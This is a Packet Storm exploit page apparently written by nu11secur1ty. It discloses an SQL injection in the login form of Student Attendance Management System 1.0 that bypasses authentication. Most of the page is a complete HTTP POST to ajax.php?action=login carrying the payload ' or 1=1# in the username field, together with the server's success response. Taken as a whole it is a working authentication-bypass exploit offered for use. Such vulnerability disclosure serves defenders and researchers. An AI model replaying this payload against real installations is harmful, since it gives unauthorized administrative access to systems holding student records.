what you don't know can hurt you
Home Files News &[SERVICES_TAB]About Contact Add New

Student Attendance Management System 1.0 SQL Injection

Student Attendance Management System 1.0 SQL Injection
Posted Jun 24, 2024
Authored by nu11secur1ty

Student Attendance Management System version 1.0 suffers from a remote SQL Injection vulnerability that allows for authentication bypass.

tags | exploit, remote, sql injection
SHA-256 | 24a3ddbd3a66ebcf49ec8f23556b3c7c395f230971ab16fde259a7afee0a40a3

Student Attendance Management System 1.0 SQL Injection

Change Mirror Download
## Titles: Student Attendance Management System-1.0 Bypass Authentication
SQLi
## Author: nu11secur1ty
## Date: 06/22/2024
## Vendor: https://github.com/oretnom23
## Software:
https://www.sourcecodester.com/php/14561/student-attendance-management-system-using-phpmysqli-source-code.html
## Reference: https://portswigger.net/web-security/sql-injection

## Description:
The username parameter is not sanitizing well, the attacker can inject
direct queries into the login form and easily bypass the authentication of
the admin account.

STATUS: CRITICAL- Vulnerability


[+]Exploits:
- Exploit:
```POST
POST /student_attendance/ajax.php?action=login HTTP/1.1
Host: pwnedhost.com
Cookie: PHPSESSID=2otv2s74md44qhb7do890mhhp4
Content-Length: 104
Sec-Ch-Ua: "Not/A)Brand";v="8", "Chromium";v="126"
Accept-Language: en-US
Sec-Ch-Ua-Mobile: ?0
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36
(KHTML, like Gecko) Chrome/126.0.6478.57 Safari/537.36
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
Accept: */*
X-Requested-With: XMLHttpRequest
Sec-Ch-Ua-Platform: "Windows"
Origin: https://pwnedhost.com
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: cors
Sec-Fetch-Dest: empty
Referer: https://pwnedhost.com/student_attendance/login.php
Accept-Encoding: gzip, deflate, br
Priority: u=1, i
Connection: keep-alive

username=nu11secur1ty'+or+1%3D1%23&password=stupiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiid
```

[+]Response
```HTTP
HTTP/1.1 200 OK
Date: Sat, 22 Jun 2024 06:37:41 GMT
Server: Apache/2.4.56 (Win64) OpenSSL/1.1.1t PHP/8.2.4
X-Powered-By: PHP/8.2.4
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate
Pragma: no-cache
Content-Length: 1
Keep-Alive: timeout=5, max=100
Connection: Keep-Alive
Content-Type: text/html; charset=UTF-8

1
```

## Reproduce:
[href](https://www.patreon.com/posts/student-system-1-106665723)

## Proof and Exploit:
[href](https://www.patreon.com/posts/student-system-1-106665723)

## Time spent:
01:25:00

Login or Register to add favorites

File Archive:

July 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Jul 1st
    27 Files
  • 2
    Jul 2nd
    10 Files
  • 3
    Jul 3rd
    35 Files
  • 4
    Jul 4th
    27 Files
  • 5
    Jul 5th
    18 Files
  • 6
    Jul 6th
    0 Files
  • 7
    Jul 7th
    0 Files
  • 8
    Jul 8th
    28 Files
  • 9
    Jul 9th
    44 Files
  • 10
    Jul 10th
    24 Files
  • 11
    Jul 11th
    25 Files
  • 12
    Jul 12th
    11 Files
  • 13
    Jul 13th
    0 Files
  • 14
    Jul 14th
    0 Files
  • 15
    Jul 15th
    28 Files
  • 16
    Jul 16th
    6 Files
  • 17
    Jul 17th
    34 Files
  • 18
    Jul 18th
    6 Files
  • 19
    Jul 19th
    34 Files
  • 20
    Jul 20th
    0 Files
  • 21
    Jul 21st
    0 Files
  • 22
    Jul 22nd
    19 Files
  • 23
    Jul 23rd
    0 Files
  • 24
    Jul 24th
    0 Files
  • 25
    Jul 25th
    0 Files
  • 26
    Jul 26th
    0 Files
  • 27
    Jul 27th
    0 Files
  • 28
    Jul 28th
    0 Files
  • 29
    Jul 29th
    0 Files
  • 30
    Jul 30th
    0 Files
  • 31
    Jul 31st
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2022 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close